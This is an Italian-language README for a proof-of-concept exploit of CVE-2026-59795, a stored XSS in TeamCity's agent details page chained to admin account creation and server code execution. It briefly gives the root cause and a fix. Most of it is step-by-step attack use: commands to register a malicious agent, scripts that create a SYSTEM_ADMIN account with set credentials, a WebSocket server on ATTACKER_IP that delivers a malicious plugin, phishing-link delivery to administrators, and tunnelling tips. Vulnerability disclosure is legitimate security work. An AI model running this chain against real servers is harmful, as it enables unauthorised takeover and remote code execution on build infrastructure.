
Proof-of-concept per CVE-2026-59795: XSS memorizzato non autenticato nei dettagli degli agenti di TeamCity, concatenato alla creazione di un account SYSTEM_ADMIN e all'RCE tramite caricamento di plugin.
XSS memorizzato non autenticato nella pagina legacy dei dettagli dell'agente di TeamCity, con escalation a RCE sul server senza riavvio. Un attaccante registra un agente di build (senza credenziali richieste) con un os.name malevolo, poi induce un amministratore a visualizzare la pagina dei dettagli di quell'agente. Il payload viene eseguito nella sessione autenticata dell'amministratore e può creare un account SYSTEM_ADMIN oppure caricare e attivare un plugin malevolo.
| CVE | CVE-2026-59795 |
| Affected | TeamCity <= 2026.1.1 (build 222577) |
| Fixed in | 2026.1.2 (222647), 2025.11.6 (208214) |
| CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| Type | XSS memorizzato (CWE-79), concatenabile con takeover di SYSTEM_ADMIN e RCE |
| Auth required | Nessuna per inserire il payload |
Trigger: un amministratore visualizza l'agente malevolo, sia tramite un link appositamente creato con &fromSakuraUI=true sulla UI Sakura predefinita, sia senza alcun phishing aprendo l'agente in attesa nel normale flusso di autorizzazione quando l'amministratore utilizza la UI classica (opzione "Use Sakura UI" deselezionata a livello di utente, oppure modalità classica a livello di server).
webapps/ROOT/agent/agentSummary.jsp visualizza il nome del sistema operativo riportato dall'agente senza effettuare escaping:
<li>Operating system: <bs:osIcon osName="${agent.operatingSystemName}"/><strong>${agent.operatingSystemName}</strong></li>
Full write-up with screenshots and background: https://joakimbulow.com/posts/cve-2026-59795/
Il nome dell'agente fratello poche righe sopra utilizza <c:out>, confermando che l'omissione è accidentale. operatingSystemName è completamente controllato dall'attaccante: un agente non autenticato lo imposta alla registrazione (attributo osName in POST /app/agents/v1/register), e il server lo memorizza e lo restituisce testualmente.
L'interfaccia React di Sakura esegue correttamente l'escape di osName e normalmente reindirizza lontano dalla pagina legacy, ma il reindirizzamento viene saltato (e il JSP non sottoposto a escape viene renderizzato) quando:
?fromSakuraUI=true nell'URL (il flag di bypass del tag di reindirizzamento stesso), oppureteamcity.ui.experimental=disableDefault, oppure l'opt-out per utente "Use Sakura UI"), oppureConfermato dal vivo:
alert(document.domain) nella sessione dell'amministratore, senza effetti collaterali.SYSTEM_ADMIN nella sessione dell'amministratore (senza RCE)./admin/pluginUpload.html e lo abilita tramite /admin/plugins.html (EnableAllPlugins), il quale carica codice Java dell'attaccante nella JVM di TeamCity in esecuzione senza riavvio. Verificato tramite un file di prova scritto sull'host del server, 4 secondi dopo il clic dell'amministratore.Eseguire l'escape dell'output in agentSummary.jsp:
<strong><c:out value="${agent.operatingSystemName}"/></strong>
(Il campo agent.version nella riga sopra ha lo stesso problema e necessita della stessa correzione.)
GET /update/buildAgent.zipjavac sulla macchina dell'attaccante, necessario solo per il PoC RCEcurl -o buildAgent.zip https://teamcity.example.com/update/buildAgent.zip
unzip buildAgent.zip -d evilagent
Non è necessario modificare manualmente conf/buildAgent.properties; ogni PoC riportato di seguito imposta serverUrl a partire dal proprio argomento --url/--tc-url e riscrive il nome dell'agente a ogni esecuzione, quindi è sicuro riutilizzare più volte la stessa directory evilagent/ scompattata.
./poc/)Eseguirli in ordine, ciascuno conferma un impatto maggiore rispetto al precedente.
1. alert_only.py, conferma la XSS, zero effetti collaterali. Piazza un agente il cui osName fa scattare alert(document.domain). Nessun account creato, nessun codice eseguito.
python3 poc/alert_only.py --url https://teamcity.example.com --agent-dir ./evilagent
2. attacker_deeplink.py, takeover da XSS a SYSTEM_ADMIN, senza RCE. Stessa piantagione, ma il payload crea un account SYSTEM_ADMIN (eviladmin / Ev1l-Pass-123) ed esegue polling finché quell'account non riesce ad accedere.
python3 poc/attacker_deeplink.py --url https://teamcity.example.com --agent-dir ./evilagent
3. rce_ws_server.py, catena completa, da XSS a upload del plugin a RCE, in un unico terminale. Compila un plugin, avvia l'agent malevolo e un server WebSocket, e stampa il link di phishing. Quando l'admin lo visualizza: l'XSS si attiva, il server WS consegna il plugin, questo viene caricato e abilitato, e TeamCity lo carica a runtime.
python3 poc/rce_ws_server.py --lhost ATTACKER_IP --lport 1337 \
--tc-url https://teamcity.example.com --agent-dir ./evilagent
Ogni PoC stampa un link come:
https://teamcity.example.com/agentDetails.html?id=N&fromSakuraUI=true
Invia quel link all'amministratore (Sakura UI, un clic), oppure, se l'amministratore utilizza già la UI classica, indicalo semplicemente a agentDetails.html?id=N senza alcun parametro speciale, ad esempio tramite il normale flusso di revisione degli agenti in attesa.
Entro pochi secondi dal clic dell'amministratore, sull'host del server TeamCity:
cat /tmp/pwned-tc-xss-rce.txt
=== TeamCity XSS->RCE chain confirmed ===
user: <tc-process-user>
host: <hostname>
java: <java-version>
cwd: <teamcity-bin-dir>
time: <timestamp>
Se il browser dell'amministratore non riesce a raggiungere direttamente la tua macchina attaccante, ad esempio sei raggiungibile solo tramite un tunnel SSH verso il target, usa rce_prepare.py per compilare il plugin e l'agent sulla tua macchina, poi trasferisci poc/ws_serve.py e lo ZIP del plugin compilato sull'host TeamCity e servili da lì:
# on the attacker machine
python3 poc/rce_prepare.py --tc-url http://localhost:8111 --agent-dir ./evilagent \
--ws-host localhost --ws-port 1337 --plugin-out /tmp/evil-plugin.zip
# transfer poc/ws_serve.py and /tmp/evil-plugin.zip to the TeamCity host, then there:
python3 ws_serve.py evil-plugin.zip 1337
Inoltra la porta WebSocket attraverso lo stesso tunnel usato per raggiungere TeamCity (-L 1337:localhost:1337) in modo che il browser dell'amministratore possa raggiungerla come ws://localhost:1337.
Nota sulla pulizia: ogni esecuzione registra un agente con un nome nuovo, quindi le esecuzioni ripetute non entreranno in conflitto, ma ognuna lascia dietro di sé un nuovo agente non autorizzato. Rimuovili in Agents -> Unauthorized dopo i test.